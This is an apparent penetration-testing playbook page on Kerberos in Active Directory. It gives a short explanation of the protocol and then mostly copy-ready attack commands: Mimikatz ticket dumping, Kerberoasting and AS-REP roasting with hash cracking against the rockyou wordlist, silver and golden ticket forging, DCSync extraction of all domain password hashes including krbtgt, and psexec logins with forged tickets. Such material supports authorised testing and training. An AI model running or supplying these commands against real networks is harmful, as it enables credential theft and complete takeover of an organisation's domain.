notmalicio.us
04 · active directory

Kerberos

3 sections · 4 min read · ~/playbook/kerberos

Kerberos Authentication

How Kerberos works:

  1. The user sends their username and a timestamp encrypted with a key derived from their password (pre-authentication) to the Key Distribution Center (KDC)
  2. KDC sends back a Ticket Granting Ticket (TGT) and a Session Key that allows the user to generate authentication information to other services
    1. The TGT is encrypted with the KRBTGT account's key, so only the KDC can read it
  3. When a user needs to authenticate to a service, their TGT, username (encrypted with timestamp), and SPN is provided to the KDC for a Ticket Granting Service (TGS)
    1. SPN is the Service Principal Name, which is the service the user is trying to connect to.
  4. The KDC will return a TGS (encrypted with the Service Owner Hash) and a Service Session Key
  5. The service will use the TGS and Service Session Key to authenticate the user
Hand-drawn Kerberos flow: Client and LSASS (des, rc4, aes128, aes256) send 1. AS-REQ to the Key Distribution Center, 2. AS-REP returns a TGT, 3. TGS-REQ, 4. TGS-REP returns a service ticket, 5. AP-REQ to the Service

Enumerating Kerberos

Klist

klist is a native Windows command that displays cached Kerberos tickets. More info here.

Mimikatz with Kerberos

For dumping hashes and cached creds, fire up Mimikatz and gain debug privilege:

mimikatz # privilege::debug
mimikatz # token::elevate

Sekurlsa

To see help menu for sekurlsa, run: sekurlsa::

List Kerberos tickets: sekurlsa::tickets

  • Look for accounts with ticket granting ticket (TGT) and ticket granting service (TGS)

Kerberos

To see the help menu for kerberos, run: kerberos::

List tickets: kerberos::list

To export the tickets: kerberos::list /export

  • Exported tickets (kirbis) can be cracked in the kerberoasting technique

Kerberos Attacks

Kerberoasting

Kerberoasting is an attack in which a service principal name (SPN) is used to request a ticket for the user under which the SPN is running.

Manual Kerberos

As described in the Enumerating Kerberos portion, Mimikatz can export the kerberos tickets. These tickets can be pulled down locally and cracked.

Using the kerberoast scripts in /usr/share/kerberoast

tgsrepcrack.py /usr/share/wordlists/rockyou.txt KIRBIFILENAME

Alternatively, use the kirbi2john script to convert it to a john hash and crack it the usual way. See below for a way to automate it in a batch:

for f in *.kirbi; do                                                                                                   
echo "=== " $f " ===";
python3 /usr/share/kerberoast/kirbi2john.py $f | sed "/\n\n/d" >$f.hash;
john --wordlist=/usr/share/wordlists/rockyou.txt $f.hash;
done

To obtain more information (i.e. usernames), pipe the GetUserSPNs.ps1 script over to the host.

Kerberoasting with Impacket GetUserSPNs

The Impacket GetUserSPNs script queries target domain for service principal names (SPNs) that are running under a user account

Requires credentials or hash

impacket-GetUserSPNs -request -dc-ip DCIPADDR DOMAIN/USERNAME

Crack the password and (if administrator), use PsExec to run commands.

AS-REP Roasting

Accounts with Kerberos pre-authentication disabled (DONT_REQ_PREAUTH) will hand back an AS-REP encrypted with the user's key to anyone who asks, which can be cracked offline.

Without credentials, using a user list:

impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DCIPADDR -format hashcat -outputfile asrep.hash

With credentials, to find and request all roastable users:

impacket-GetNPUsers DOMAIN/USERNAME:PASSWORD -dc-ip DCIPADDR -request -format hashcat -outputfile asrep.hash

From a Windows host with Rubeus:

Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash

Crack the hashes:

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Silver Ticket Attack

If the NT hash of a service account (or computer account) is obtained, a ticket for that one service can be forged without talking to the KDC.

  • Using the impacket ticketer script: impacket-ticketer -nthash SERVICENTHASH -domain-sid DOMAINSID -domain DOMAIN -spn cifs/TARGETFQDN USERNAME
    • -spn is the service to forge a ticket for, e.g. cifs for file shares/psexec, http for web, mssqlsvc for SQL
  • If successful, add the ccache file to path: export KRB5CCNAME=USERNAME.ccache
  • Use it against that service: impacket-psexec DOMAIN/USERNAME@TARGETFQDN -k -no-pass

With Mimikatz, the ticket can be injected directly:

mimikatz # kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAINSID /target:TARGETFQDN /service:cifs /rc4:SERVICENTHASH /ptt

DCSync

Accounts with replication rights (Replicating Directory Changes and Replicating Directory Changes All; by default Domain Admins, Enterprise Admins, and Domain Controllers) can ask a DC to replicate password data, including the KRBTGT hash needed for a Golden Ticket.

Dump all domain hashes:

impacket-secretsdump DOMAIN/USERNAME:PASSWORD@DCIPADDR -just-dc

Dump a single account:

impacket-secretsdump DOMAIN/USERNAME:PASSWORD@DCIPADDR -just-dc-user krbtgt

With Mimikatz:

mimikatz # lsadump::dcsync /domain:DOMAIN /user:krbtgt

Golden Ticket Attack

If a KRBTGT hash is acquired, a golden ticket attack may be an option.

  • Using the impacket ticketer script: impacket-ticketer -nthash KRBTGTNTHASH -domain-sid DOMAINSID -domain DOMAINNAME USERNAME
    • Get domain SID with: Get-ADDomain DOMAINNAME
    • Use fully qualified domain first for domain name
    • Username can be literally anything
  • If successful, add the ccache file to path: export KRB5CCNAME=OUTPUTFILE.ccache
  • Run impacket psexec to log in: impacket-psexec DOMAINNAME/USERNAME@IPADDR -k -no-pass
    • For target, use domain over IP address
    • Other options: smbexec or wmiexec
    • Clock skew too great --> use date -s NEWTIME
esc
↑↓ navigate↵ openesc close